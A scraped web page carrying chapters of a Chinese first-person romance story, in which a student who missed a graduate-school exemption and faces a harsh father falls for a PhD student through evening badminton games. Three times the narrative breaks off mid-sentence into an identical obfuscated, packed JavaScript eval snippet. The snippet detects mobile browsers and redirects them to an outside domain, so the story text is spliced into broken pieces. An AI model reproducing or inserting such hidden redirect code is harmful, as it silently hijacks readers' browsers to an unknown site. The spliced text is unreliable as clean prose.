《差一点也没关系【甜文】》 1. 眼泪女王 在我大学四年级的时候,发生了一件当时我认为非常大的一件事:我保研失败了,以一名之差,与保研名额失之交臂。 当时,我只有一个念头,那就是我要完蛋了,我真的要完蛋了。 我甚至来不及伤心,心里的第一个反应是怎样向爸爸解释,如果他很生气的话,我怎样平息他的怒火。 爸爸在微信上不停地给我转发保研相关的推文,每天都问我名额出来了没有,我不敢看,也不敢告诉他,害怕到折叠了他的聊天框。 在大四推免季到来之前,我有一篇金融实证参营论文,一段券商实习,两次社会实践和奖学金若干。 身为保研边缘人,夏令营是海投的,也拿了某校的优营,但因为没有争取到最关键的保研名额,最终还是灰溜溜地下岸了。 在不得不拒掉offer的时候,我的心都碎了。那段时间,我的眼泪像呼吸一样简单。 人在写作的时候,总是形容眼泪是断线的珍珠。但其实,并不是,只有被人心疼的时候,眼泪才是珍珠,在不爱人的眼里,它是一种负担。 我总是有很多的眼泪,有很多的情绪,在我懂事以后,意识到这样可能会给别人带来困扰,我就努力克制了很多年,很多年。 我大学过得平平无奇,但总体还算上进,拿奖学金,争取实习,参加社会实践,别人干什么,我就干什么,因为这些事情都是“对”的,所以我也去做。 但实际上,我始终没有想明白,我到底想要什么,我想成为一个怎样的人。 大学里有很多能量满满的人,参加各种学生组织,卷三大赛国奖,所有技能都拉满,而这之中,不包括平平无奇的我。 我虽然没有很强烈的“卷也卷不过,躺也躺不平”的念头,但面对大三大四的焦虑和迷茫,人也很难在同辈压力中保持平静。 我一本正经地完成了大学要我做的事情,这样听话,这样守规矩,可我并没有得到相应的回报。 就好像,我从大一迷茫到了大三,一转眼,我就变成毕业生了,这合理吗? 保研失败是结果,不是原因,我的心口如塞了一只氢气球,轻轻就被点燃了。 就是在这个我后来日记里称之为“人生转折年”的时候,我认识了蒋峪。 时间线拖回那一年的九月二十七号,学校官网马上就要推免公示了,我没法再瞒了,只好发微信告诉我爸,对不起爸爸,我没保上研。 发完以后,我握着手机,静静地等待审判。那一整个傍晚,我都等着爸爸下班回家以后给我回信息或者打电话。 我是挑晚高峰的时候发的,因为爸爸下班开车的时候不能看手机,所以这样不会被立刻回复。 但再漫长的等待也有回音,嗡嗡作响的手机铃声就像爸爸暴怒的坏脾气,一下一下在手心震动着。 我根本不敢接。 那种恶心、头脑发昏的感觉,我至今还能回忆起来。我甚至觉得喘不过气,有一种气管被眼泪塞住,马上要窒息的冲动。 在那通电话里,我爸训斥了我什么,曾经如噩梦般如影随形,而我早就假装忘掉了。 从我的性别,我的大学,我的专业,再到我这个人,因为没有保上研,成了一个令人丢脸的存在,成了一个彻头彻尾的失败者。 走出图书馆,再往西,就是我们学校的小树林。 北方九月底,天黑的很快,风也很凉,树林里的人只能算是区区之众。 在挂了电话以后,我很安心地哭了。 至于哭了多久,我不知道,在我停下来想擤鼻涕的时候,一只手突然伸出来,轻拍了一下我的肩膀。 周围都是黑黢黢的夜色,对方这个动作吓了我一大跳,导致我膈肌痉挛,一下下打起了哭嗝, 而后一包纸巾递了过来,我接过,嗡声说了一句谢谢。 在我的余光里,看着这个人背着包往外走了几步,然后像突然想到什么了一样,他停住了脚步。 再然后,我就看到他折回来,一直走到我面前,问我要不要去打球。 我哭懵了,下意识问他“什么球?” “羽毛球。” 是的,羽毛球,我们就这样约了一次很奇怪的球。 这是我以为的,我和蒋峪的第一次“认识”,实际上,在这之前,他对我已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417758|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经脸熟了。 小树林的鸟屎很多,为了避免被袭击,坐在哪里都是有讲究的。我开学以后经常坐的那个角落,是他暑假留校时候的心选座位。 在被我“占领”了以后,他就换了另一处。 我总是背一个米色的双肩包,固定在晚饭以后的时间段出现,然后一个人坐在那里。 蒋峪后来告诉我,他当时想的是,我这么单薄的身板,是怎么能哭这样长时间的。 - 那天,蒋峪问我打不打球以后,我起身,和他一起走到了路灯下面。 暖色调的灯光很亮,刺得我的眼睛又是一热,我胡乱地擦了一把溢出眼眶的泪水,然后也看清了他的脸。 蒋峪顶着一头卷毛,脸很白,眉眼非常清隽,像他的人一样,他是一个长得很高的北方男生的样子。 我肿着眼皮,不知道是脸红还是眼热,感觉我的脸一下子烫了起来,只剩下了不好意思。 我们这对临时搭子,就这样打了一场很随意的羽毛球。 蒋峪专业喂球,每次都回到我这边正向的高点,我不算纯新手,大学体育课选修就是羽毛球,但还是打得很开心。 因为自从开学以来,我已经很久很久没有活动和休息了。 夜风习习,吹冷了我额头的汗。树林里的空气是冷的,如同我回青岛时呼吸到的湿冷那样,但它并不伴随回家的紧绷,而是很放松,很舒服。 我后来有回忆过这段,不确定是否经过了我本人的美化,因为第二天我就感冒啦。 马上就要国庆假期了,在把球拍还给蒋峪之前,我脑海里萌生了一个退票留在学校的念头。 蒋峪问我明天还来不来图书馆, 我说来。 然后他又问明天要不要一起打球, 我也说了好。 如果按照蒋峪的视角来看的话,那就是,蒋峪约人打球被放鸽子,意外遇到了我,然后这段由我们二人组成的球友关系大约发展了两个月,在第三个月,我们共同推进成了恋爱关系。 据蒋峪说,他终于不用找什么借口,而是可以正大光明地送我一些别的东西了。 2. 差一点女士 按照我爸的规划,我会顺利升入本校研究生,毕业后考一份稳定的工作,然后和一个市南区的公务员结婚,再生两个孩子,他就算完成任务了。 只要出现一点纰漏,比如我没能保研,我爸就觉得他的计划失败了。 差一点,我的人生总是差一点。 如果爸妈离婚的时候,我再坚定一点,如果高考的时候,我的数学分数再高一点,如果大学前三年,我再努力一点,如果...... 生命中曾经闪过多少个“如果”的时刻,可我始终差那么一点点。 所以,我再也没见过妈妈,没有考上心仪的专业,也没有保研,只能在这里,屈辱地握着电话,接收爸爸无尽的斥责和否定。 我从不抱有期待,因为我总是差一点。 这是一个诅咒。 没有保研成功,最应该难过的不应该是我本人吗?我不应该得到来自家人的安慰与关爱吗? 这个问题我思考过很久,我得出一个结论,其实我并不在乎保研的失败,可它带来的痛苦又那样真实。好像我做的所有努力,只是为了避免爸爸不高兴,为了避免与他起冲突。 但我呢?我自己在哪里呢?我全然为我人生每一个阶段买单,哪怕是差一点点的运气。 在这一点上,我对得起任何人,也不欠任何人。 - 我和蒋峪说,我总是差一点,所以我是差一点女士。蒋峪立刻说,那我是差一点先生。 我哈哈大笑。 我们在一起的第二年,春天的时候,我和蒋峪去北京看花。 那是我参加完考研复试的一个周末,虽然两三天就出结果,但这种短期等待比二十天还要煎熬。 蒋峪计划周到,提前请假买票,复试结束当天晚上我们已经到北京了。 三月底的颐和园,桃花开得正盛,粉的白的花瓣落了一地。我们坐在湖边的长椅上,微风起浪,湖面轻轻波动着。 我把手机递给蒋峪,窝在他怀里,看着他的手指替我点开屏幕,点进相关的小群,然后点开录取名单。 网络不好,看着信号延迟转的圈圈,我的心跳到嗓子眼,根本不敢往下看了。 蒋峪察觉到我的紧张,偏头看我一眼,问我继续吗? 我没说话,看着名单一点点加载出来。 第一页就是管科,我俩一眼就看到了我的名字,大约在排名的中部,一个很擦边的位置。 那一刻,我感觉手都凉了,心律急剧飙升,强烈到我仿佛听到了心跳的回响。 我初试成绩的排名比这个位置要高,但我校不是没有刷本校和刷前排的先例,我又想到复试时候,我被老师打断的某个提问,心里纠结到像有只小猫爪子在爬。 本来我和蒋峪复盘的时候,我俩一致觉得我的复试表现还可以,但现在我又不敢确定了。 我心里惴惴,深呼吸了一次,还是要蒋峪继续往后看。 手机页面有限,蒋峪的手指停留在我名字的那一行,然后坚定地左滑。后面是初试成绩,复试成绩,录取成绩,非定向,全日制,拟录取...... 是拟录取!!! 看到那三个字的时候,我的眼泪刷一下掉下来。 没有什么应不应得,高不高兴,我只知道,我可以留在学校里了。 我可以继续念我的书,学我的习,从家庭的暴风雨逃出去,躲进学校的屋檐下。 这种极致惊恐过后的惊喜,实在是太波动了,我的眼泪根本刹不住车。 蒋峪什么都没说,他安静地等我平复情绪,递纸巾,然后拧开随身的保温杯,要我喝点热水。 我有些不好意思,但听到蒋峪带着笑的声音从我头顶传来。 他说:这下某人能变成多一点女王了吗? - 那天和蒋峪分开以后,我的手里多了一罐冰可乐,连同蒋峪递给我的那包纸,一起塞到了书包里。 走路回去的的时候,可乐罐和我的水杯撞到一起,咣当咣当的,响了一路。 这一年,正值毕业季,每个人都忙得不可开交。 我们宿舍的晚间不再吵闹,大家都是一脸疲惫地从外面回来,沉默地洗漱,然后各自躲进床帘里。 大一大二的生活是我的美梦,我在远离家乡的城市,没有家庭,没有烦恼,现在它要结束了。 我换了睡衣,卷着厚厚的被子喝蒋峪的爱心可乐。 刚才打球的时候,我爸也发了微信过来,只不过我没有立刻看到。 但消息总是要回的,内容也是要看的,就着可乐汽水的这点甜,我还是认命地点开了微信。 手机里,爸爸的一段段消息组成白色的字团,如一片乌云飘在聊天框里,我使劲往下滑,却怎么也翻不完。 不想看我被形容得多么卑劣,不想看爸爸对我有什么期望,不想做成材的女儿,我只想逃避。 把宝压到保研上的人,是我爸,不是我。在上半年开始投夏令营的时候,我已经开始准备考研了,只不过当时我爸还替我做着保研的美梦,我不敢去打断他。 家长最喜欢听孩子说的话,是“我可以”“我能做到”“我一定行”的保证,永远把孩子取得的成就看作理所应当,从来不去想孩子的难处。 我爸可能不知道,在得知没法保研的时候,我心里有一块石头落地了。 终于,终于。终于不被保研的萝卜吊着,一边准备考研,一边又不自觉地暗暗计算自己的可能性。 一心二用,很辛苦的。 - 在一通责骂以后,我爸又变回了慈父的模样,鼓励我继续考研,不要懈怠。 晴一阵,雨一阵,天气不以人的意志为转移,我的人生好像也是这样,好不好,坏不坏,我总要走下去,哪怕一个人撑着伞。 第二天晚上,和蒋峪约好时间后,我带着自己的羽毛球拍准时赴约。 生活中,我是一个并不排斥运动的人,但我讨厌一切与绩点扯上关系的事,比如体育课考试,虽然没有挂科,但我实在接受不了每学期的三千米跑。 再比如,我坚持打了一年多的羽毛球,是因为我体育课选修了它,为了绩点能好看一些,我不得不找了多个搭子一起练。 而好笑的是,大三大四没有体育课了,我却主动开始了运动。 在和蒋峪意外约着打球之前,我也有过几个搭子,但都约不久,因为大家各有各的事要忙,时间一长就散了。 蒋峪的球品蛮好的,技术也还可以。但最关键的是,我们两个的动作都不激烈,运动强度适中,就很满足我的需要。 我真的很讨厌那种没有沟通,但疯狂杀球,暴力进攻的队友,如果遇到了,我只想逃。 在加上彼此微信的很长一段时间里,我和蒋峪恪守着男女之间的分寸,尽职尽责地扮演着羽毛球搭子的角色。 我对男性的审美很专一,我喜欢高,瘦,白,看上去没有攻击性的男生。 蒋峪也健身,但是他练得很正常,一点也不夸张,就是看上去是一个身材还可以的男的。 我这个人很奇怪,如果伴侣很高很壮,我并不觉得有安全感,反而有“如果对方攻击我,我可能打不过”的担忧。 觉得一个人长在自己审美点上,和因对方好看进而产生更多联系是两件事。 虽然我和蒋峪认识的时候都是单身,但我也只是想想,没有说要和他发生点什么的意思。 除了基本的问候和约时间,我们从不在微信上闲聊。当然线下还是会说话的,但也仅限于,我知道他是男的,他知道我是女的,我在备考,他在写论文,然后我们称对方为“同学”。 说来也好笑,我俩的日常对话从“同学,今天晚上有时间吗?”到“打球吗?”到“8:30”,用了差不多半个月。 事情转折在某个晚上,我记得特别清楚,那天是考研预报名结束的第一天,我还在纠结报什么大方向。 我们管院学硕招生人数多的专业集中在管科、会计学、企管这几个大方向,而且初试的科目也是一样的,都考正直,英一,数三和管理学。 这给了我一个可以边学边思考的空间,管科和企管内部还有小方向上的细分,但总体上,到底是报比较卷的管科,还是报相对好上岸的企管,我没想好。 那天我们还是一起打球,在漏掉三个球以后,蒋峪看出了我的心不在焉,问我要不要休息一下。 夜晚起了风,我们并肩坐在路边的一处长凳上,手机都放在包里,但没有人拿出来。 路灯下,有骑行而过的车,走路的人,还有运动过后得到清浅呼吸声,一切好安静。 我把书包放下的时候,包上兔子挂件的脸被迫朝里,蒋峪伸手给她换了个方向。 我没有动,只是看着他的动作,看他绅士地帮小兔把吹到肚皮上的小裙子拉下来。 我们谁都没有说话,只是坐在那里,我突然觉得这个时候很暧昧。 这一刻,蒋峪在想什么呢? 爱情是从这样的好奇心开始的吗? 在刚开始和蒋峪一起打球的时候,我还在日记本里写一些很惆怅的句子,如果我不是大四就好了。我就可以远离保研,远离毕业,远离要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417759|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回家的期限,或许,我还能试试,谈个恋爱。 只是我已经大四了,过去的事情无可挽回,眼前的焦虑又那么紧迫,好多事情在这个阶段已经不合时宜了。 放空了好一会,我决定和蒋峪说点别的。 我们学校每年公布的数据显示,境内升学和签约就业的比例大概五五开。但我觉得这个数据有水分,因为就我身边而言,绝大多数人会选择继续深造,我想知道蒋峪怎么安排的。 我和他也算是熟了,这个问题并不是很冒犯,所以我放心地问他:“同学,你读研吗?” 蒋峪露出一个讶异和不解的表情,在我诚恳的发问里,他摇摇头说,“不读。” 我追问:“不读?那你是直接就业吗?还是......” 蒋峪说,他是直博生,在读博三。 不知道为什么,他这话一出,我心里竟然有一种给他装到了的感觉。 我“奥”了一声,干巴巴地说:“那您还挺年轻。” 在这之前,我一直以为蒋峪和我一样是大三大四的学生,因为我还在本科阶段,所以我会下意识认为对方也是。 我在心里飞快地算了一下他的年龄,22岁大学毕业,两年博士,那他今年应该24岁或25岁,也没有比我大多少。 “您?”听我这样说,蒋峪立刻补充:“我倒也没有这么老。” “好吧。”我用笑代替了一时的尴尬。 那天晚上我们说了好多,关于我报考专业的问题,学校就业前景,还有蒋峪的直博生活。 蒋峪和我刻板印象里面的博士不太一样,他不算很健谈,但讲话非常谦逊、温和。 管科的小方向有数据与复杂决策、管理信息系统、供应链等,企管有人资和战略管理,我们差不多从个人兴趣、发展前景、就业情况,对比了它们,蒋峪最后还是委婉建议我报管科。 跟企管相比,管科在就业上面的优势很明显,任谁都不会选错。其实我心里差不多也是这样想的,可能我当时只是特别需要一个人肯定我,赞同我,让我增加一点点的信心。 很难想象,一个人从成人到大学毕业,很少得到夸奖和鼓励吧。 我们学院是大类招生,我是后来分流去了企管这个专业。蒋峪以为我拿它当备胎是因为本科学的这个专业,他还根据他知道的一些导师的情况给我分析了一遍。 但根本原因其实是,我觉得企管好上岸,然后我特别想留在本校,不想毕业就回家,仅此而已。 我是一个没有退路的人,如果我今年考研没有上岸,我毕业后一定会被爸爸要求回家考公考编,考不上就别想出来了。 为了阻止噩梦的发生,我也要考上研。 不过这个原因,以我当时和蒋峪的关系来看还比较私人,我就没有多说。 蒋峪是经济学院的直博生,和理工科一些博士相比,他看上去显然要更清闲一些,最关键的是,他头发还算茂盛。 我和蒋峪认识的第一天,他就顶着一头卷毛,这差不多快过去半个月了,他的发型看上去也没什么变化。 我好奇地问他:“你的头发是自来卷吗?” 蒋峪说不是,我就又问了一遍为什么,这个追问真的太呆了,蒋峪也笑了。 他的卷发是博二的时候,小论文没投中以后烫的。 “被拒以后觉得太曲折了,想纪念一下它。” 蒋峪的口吻淡淡的,颇具自嘲:“不过这个发型打理起来也不难,从镜子看见自己这形象还挺新鲜的。” (蒋峪这里说得还比较轻巧,还有一个原因是,这个发型让他时刻记着毕业焦虑,进而克服懒惰。) 觉得一个人可爱真的是完蛋的开端,因为蒋峪觉得自己的小论文发表过程很曲折,所以烫了个卷毛,我真不知道,为什么会突然戳中我的萌点。 这个晚上,从学业聊到生活中的鸡零狗碎,我们说了好多好多,最后连球也不打了。 我信心大增,还是决定报考最想去的专业。 这也是我和蒋峪认识这么些天,最开心的一次见面。 而蒋峪以为他成功挽救了一个“失落少女”,整个人肉眼可见地松弛了,他看上去也挺愉快的。 那天以后,我们心照不宣地开始一起回去。 我和蒋峪的宿舍都在图书馆的北边。我住4号,蒋峪几年前分配的的宿舍也在校内,他住1号,地图的顺序是先经过我的宿舍,再经过他的宿舍,还比较顺路。 当然我们不是天天见面,天天一起回去,我们大约一周打一次或者两次球,有约的时候才会一起回去。 3. 生日快乐 暧昧像北方十月逐渐南下的冷空气,进攻总是无声无息的。 除了打球,我和蒋峪不仅开始了聊天,我们还约了几次饭。为了让我安心学习,蒋峪勤勤恳恳帮我改了几次小作业。 当我意识到,我不仅有过觉得蒋峪可爱的时刻,我还期待着和他一起打羽毛球,期待和他一起见面,我感觉要完蛋了,我想谈恋爱了。 我把这份迟来的青春期躁动告诉了我远在海外上学的好朋友,她的角度特别清奇:没事,这说明你是真学进去了。 我:晕倒JPG. 好朋友在大马留学,她的语音夹在雨季湿热的嘈杂里,非常凌乱,像我的心。 更多的,我没好意思讲。 但好朋友总是最靠谱的,我们达成了专注当下的临时协议。最关键的是情绪稳定嘛,也许我应该再相信自己一次。 十月底,在天气彻底变冷之前,还发生了一件事。 我的生日要到了。 在我上大学之前,我的生日是很随意的,几乎约等于没有。 妈妈还在我身边的时候,她说国家规定了只有过生日才能吃蛋糕,所以一到秋天,国庆放假以后,我每天早上起来要问她,还有多久到农历十七。 圆状蛋糕盒,红色丝带,以及凑近了就能闻到的老式裱花蛋糕香气,曾经构成我童年最期待的存在。 我坐在妈妈的自行车后座,踢着小腿,看着我的美味挂在自行车把上轻轻晃动着。 我不再说小话,也不再东张西望,只是一味地催促妈妈“快一点”“再骑快点”,因为我等不及要回家吃奶油蛋糕了! 妈妈为了捉弄我,故意把车子骑得很慢,在我的气急败坏里,车把摇摇晃晃的。我不满地叫着“妈妈”“妈妈”,她会立刻哈哈大笑,然后才愿意慷慨提速。 后来,妈妈和爸爸离婚,也离开了我的世界。 我总是弄不懂农历和阳历的转换,但也没有人为我庆祝生日了,失去生身母亲,我的出生便不再产生意义。 我是在离开家,上大学以后,才重新开始给自己买蛋糕的。 我爸从来不记得我的生日,但我也学乖了。通常,我会在微信上提醒他,我要过生日了,又长大一岁,感谢爸爸对我的付出等等。 这样一通美言过后,我爸会给我给发一个200块钱的红包,我会说谢谢爸爸,然后在外面找家平常不舍得去的餐厅吃掉。 我突然想到一个更好玩的事情,我们宿舍在大一的时候,还有轮流庆祝生日的传统。 后来大家混熟了,人与人之间有了各自的计较(俗称都知道了对方是什么德行),这项集体活动直接被取消了。 我们宿舍一直保持这样不冷不淡的关系,没有什么大的冲突,但也不紧密。其实我还挺享受这种氛围的,虽然很冷漠,但很“成年人”,毕竟边界感在任何时候都是好东西。 今年,我有了新的想法,我决定邀请蒋峪和我一起过生日。 蒋峪会不会答应?他忙不忙呢? 在某天学完习以后,我从图书馆走回宿舍,一路都在想要怎样向蒋峪提出我的邀约。 揣着心事,洗漱完,躺在床上,我弹了一个“晚上好”的表情包给蒋峪。 他也秒回:晚上好。 人在线,我放心地编辑好了生日邀请发给他。 蒋峪没有立刻答应,我等了几秒,看到我们聊天框顶部,只有“对方正在输入...”这句话和我给蒋峪的备注来回切换。 迟迟没有收到蒋裕的回复,我心底一凉,拒绝我有这么难吗? 难道我会错意了?还是说,他对我根本没那意思? 隔着屏幕,我感觉很尴尬,刚鼓起的勇气又散了,甚至有一种想撤回的冲动。 我挽尊一样告诉他,如果他很忙,那就算了。 刚发出去,蒋峪立刻甩了一个表情包。 No!!! No是什么意思? 紧接着,蒋峪也不输入了,直接发了一条语音。 蒋峪十月底要和老板出差开会,他可能赶不上我邀请他的那个时间。 他非常有求生欲地解释,刚才他在纠结日期,绝对没有要拒绝我的意思。 我贴心地说没关系,我并不在乎特定日期,哪一天过生日在我眼里是一样的。 蒋峪问我:“晚几天过会不开心吗?” “当然不会!” 我是真的不在乎早一天晚一天,别说正点,我从小到大都极少过生日,这点推迟对我来说无伤大雅。 蒋峪还挺在意的,他过一会又问我,这个周六有没有时间。 周六也就是后天,但我每天的学习都是有计划的,如果提前到后天的话,那就要等我学完习才能出去吃。 不过是从午饭改成晚饭了而已,我还是可以接受的。 这个安排我们都很满意,真好。 - 在和蒋峪谈恋爱之前,我短暂地crush过几个男生。 不过都是我单方面的,而且最近也是三四年前的事了,当年我还是一个高中生。 我们班有一个男生,每次考试都名列前茅,他长得也不还不错,带着眼镜,挺斯文的。因为他坐在我的斜前桌,所以我经常关注他的成绩和他的脸,我朋友一直觉得我动心了。 直到某次考试,我考到了他前面,下一次,我还在他前面,然后我就对他再也没有以前那种的感觉了。 我是后来才意识到,他成绩比我好的时候,我对他可能不是动心,也不是crush,而是嫉妒心。不然,我也不会因为一件事,就立刻失去了兴趣。 到大学更不要讲了,不是上了大学,学校就会自动发男女朋友的。 在大学里,单身才是正常的,大部分人都是没有男女朋友的。而且,帅哥实在是太少了,符合我审美的人也太少了,少到就算想谈也没法抓壮丁啊。 况且,在大四到来之前,我还拿我的桃花运许过很多愿望。比如,体侧的时候,我必许愿,用单身四年,换体侧取消。还有,每到期末考试,我也会说信女愿单身四年,换永不挂科...... 一定是我用四年单身兑换的奖励太多了,桃花运暂时失效了。 蒋峪的单身经历更简单了,他高中在理科班,大学遇到口罩,与异性的交往少得可怜。 他从小就对女生不感冒,一个很重要的原因是,蒋峪小时候竟然是一个小胖墩! 不知道是不是所有情侣都有互爆童年照片的环节,我俩在一起没一会,互相甩了很多照片给对方。 因为家庭问题,我童年留下的照片不多,但能看出来,我从小到大都是一个身材,一个瘦瘦的女孩的样子。 我从小就不爱吃饭,妈妈还在我身边照顾的时候,每天变着花样喂饭,但怎么都撬不开我的嘴,用她的话来讲,那就是上辈子属猪,撑死的。 但在她看不到的地方,本瘦条条的小女孩,早就等比长大成瘦条的大女孩了。 蒋峪是独生子女,他作为两家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417760|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人唯一在身边的小孩,从小就是四个老人+两个大人,全方位照料。 爷爷奶奶和姥姥姥爷竞争上岗,不仅抢着带,还暗暗比较谁带得好,双方一起发力,成功把蒋峪喂成了一个小胖子。 照这个趋势,蒋峪妈妈非常担心儿子从小圆变成大圆,以后不好找对象,及时采取强硬的手段,督促小孩运动减肥。 蒋峪当时四五岁,在肯德基过生日的时候留下了珍贵影像资料——扬言讨老婆哪有喝可乐重要。 这个视频被我看了以后,乐了好久。 我们学校西门就有一家肯德基,有时候路过我问蒋峪去不去吃,蒋峪说不去,我问为什么不去,他每次一脸明知故问,但会配合我说:夺妻之仇。 哈哈哈,没想到蒋峪小时候也被“找对象”这种事情pua过。 - 约会在星期六下午,但我一整天的心情都很好,学习效率出奇地高。 时隔两个月,我少见地打扮了一下,然后穿上了去年才买的白色大衣。但一想到晚上的行程是去吃川菜,我就觉得很搞笑,也很可爱。 我们约的四点多,天还没擦黑,蒋峪在图书馆门口等我。 更可爱的是,蒋峪也装点了一下自己。他穿了一件我没见过的外套,然后在里面搭了一件很清爽的蓝色条纹衬衫,我本来以为他衣柜里只有深色衣服呢。 图书馆楼下,不仅有新鲜的蒋峪,还有他的坐骑,是一辆雅迪电动车。 我们暧昧的一个月,如同脑抽一样,好多事情都是用腿走的,完全忘记两人都是有电动车的人。 因为提前说好了,只是吃饭,所以不叫蒋峪买蛋糕礼物什么的,而且我也不是很注重仪式感。 蒋峪到底是听进去了,但他只听了一半。他准备的蛋糕是一个很可爱的mini三寸,礼物是他紧急跑到某品牌门店买的羽毛球玩偶,同样也是小小的一个。 这些被他放在一个纸袋里,挂在电动车把上,我在图书馆门口光顾着看着他的脸傻乐,根本没注意到。 我并不讨厌送礼物,为朋友爱人买一些东西是一件很自然的事情,并非一定要因为什么日子。比如我们决定提前出去吃生日餐饭,时间比较仓促,那就不需要特意准备什么。 但蒋峪在某些事情上很有原则,他觉得对方可以不要求,但他不能不表示。 从来没见过蒋峪这样观察细致的人,我把他送的羽毛球玩偶改造成了挂件,和我的小兔一起栓在了书包上。 很可爱,小兔也有了她的羽毛球搭子。 回去的时候,在我宿舍的楼下,我让蒋峪问我许了什么愿望? 蒋峪顺从地问:“请问汪意点女士许了什么愿望?” 我的愿望是,我能顺利考上研究生,有且仅有这一个心愿。 但蒋峪问我的时候,看着他的眼睛,话到嘴边,我想逗逗他,试试他的反应,我就说我想要一个男朋友。 蒋峪呆了一秒,脸色没什么变化,但我眼睁睁地看着他耳朵尖尖一下子红了。 这个人好像根本没想到我会打直球。 然后我听到蒋峪用一种很镇定的声音问我,“哦,那你想什么时候有?” 我盯着他的脸,超级认真地跟他说:“12月24号”。 哈哈哈,那是考研初试的日子。 蒋峪说他知道了,我问他知道什么了,他说:“你的愿望很快就能实现了。” 点到为止好纯情,我其实很有眼色的,没有继续追问,怎么实现。 4. 捡秋天 北方的秋天很美,梧桐、银杏、红枫轮着落叶,一直落到十一月份,满地都是黄金甲。 气温下降,天气转冷,太阳也拭去夏天的毒辣,照在身上温温柔柔的。 晴好的天气,我们出门去捡秋。 我带着数学卷子,蒋峪背着电脑,两个人各自强行学习了一小时后,立刻拎着包逃出了咖啡馆。 公园草地上,落叶铺了厚厚的一层,有绿的悬铃木、黄的银杏、红的杜英,还有五颜六色的乌桕,处处缤纷。 秋意浓浓,只要弯下腰去,就能捡一地的橙黄橘绿。 我把捡来的叶子摆出造型,拍了漂亮照片,剩下的都被我贴进了日记本里。 我在旁边批注:进入一种明确的、可视化的发展,我的生活又恢复了秩序...... 其实那段时间我和蒋峪过得都不算轻松,蒋峪忙着改小论文和写大论文,我忙着学数学和背专业课,快乐像偷来的。 这个世界上,到底是谁,既要学英一,又要考数三,原来是我们经管人啊。 哈哈哈,我不活了。 只是说说。 作为一个淡人,对于备考这件事,我好像很少有崩溃的时候,我极少因为学不会、学习烦掉眼泪。 也可能因为我本身的生活比较糟糕吧,但这并不代表我不痛苦。 毫无旁骛地学习,只学习,是一件很纯粹的事情,它本身是不会带来痛苦的。 痛苦的是通过学习所需要达到的目标,因为总会有人对“预期成果”不满意,进而指手画脚,添乱在所有过程里。 我爸通过看张雪峰的抖音视频,不仅知道了报考大小年,还知道了水区和旱区。他掌握的这点知识帮不上什么忙,但对我指手画脚还是足够的。 (我对张雪峰倒没什么意见,但要是遇到喜欢看张雪峰视频的中年男人,我会一秒幻视我爸,不自觉将其划入爹味男人的行列。) 爸爸问我为什么不考北京上海,又或者问我为什么不报人大信院、复旦管院。 我说,报我们学校,相对来说更稳妥一些。 我爸:你也就这点出息了。 我:...... 他知道自己在说什么吗? 我不得不爬一遍研招网,告诉我爸,这些学校招多少人,我校招多少人,这些学校初试考什么专业课,而我复习的是什么书。 我爸丝毫意识不到,这是对我的一种伤害。 或者说,他知道这样说会伤害到我,他就是想让我痛苦,想让我不舒服。 这种细小对话还是好对付的,我只要假装看不到就好了,但一个人根里的东西是无法改变的。 在我爸眼里,一个女孩,除了考银行、医院、学校、法检等,其他所有工作都简称打零工。 那我作为一个葱省传统教师子女家庭出身的小孩,如果对我爸说,我不想考一份稳定的工作,那这辈子就是废了。 我爸平等地歧视一切没有稳定工作的人。 拿我经历过的事情举例,我在大马留学的好朋友姓仇,出自山东莒县仇氏一族,当地还有一特色美食,叫莒县羊汤。 我朋友爸妈就在青岛经营一个莒县羊汤的铺面。 我上小学的时候,某一次,我爸来奶奶家,看到我和朋友正一起说说笑笑地画手抄报,他非常生气地骂了我一顿,觉得我不务正业,也不允许我和卖羊汤家的孩子来往。 不管我爸承不承认,他都是一个很势力的人。 他觉得卖羊汤不体面,那我作为他的小孩,是万万不能和这样人家的小孩玩的。 手抄报当然是作业的一种了,家里有小学生的应该都明白才对。但我的解释被爸爸认为是顶嘴,他利落地给了我一巴掌,火辣辣的,我直接就哭了。 我好朋友也惊呆了,我记得特别清楚,在我奶奶的抱歉里,她像一只受惊的兔子,手忙脚乱地拎起书包,特别尴尬地走了。 六十平的老破小可真拥挤,里面有埋怨爸爸无能狂怒的奶奶,有靠在沙发上沉默抽烟的爸爸,还有站在餐桌前不敢坐下的我。 时隔多年,这个场景如爸爸吐出的蓝色烟圈,像一个诡异的梦,仍淡淡地萦绕在我的记忆里,阴暗如影随形,这怎么可能忘掉呢? 在父母离婚后,我便跟奶奶一起生活,我爸在他自己家里,和他的老婆孩子一起过。 我爸从来没有管过我,不知道我喜欢吃什么、玩什么,没有给我买过衣服,没有给我买过玩具,他一个当老师的,甚至从来没有辅导过我写作业,这说出去谁信? 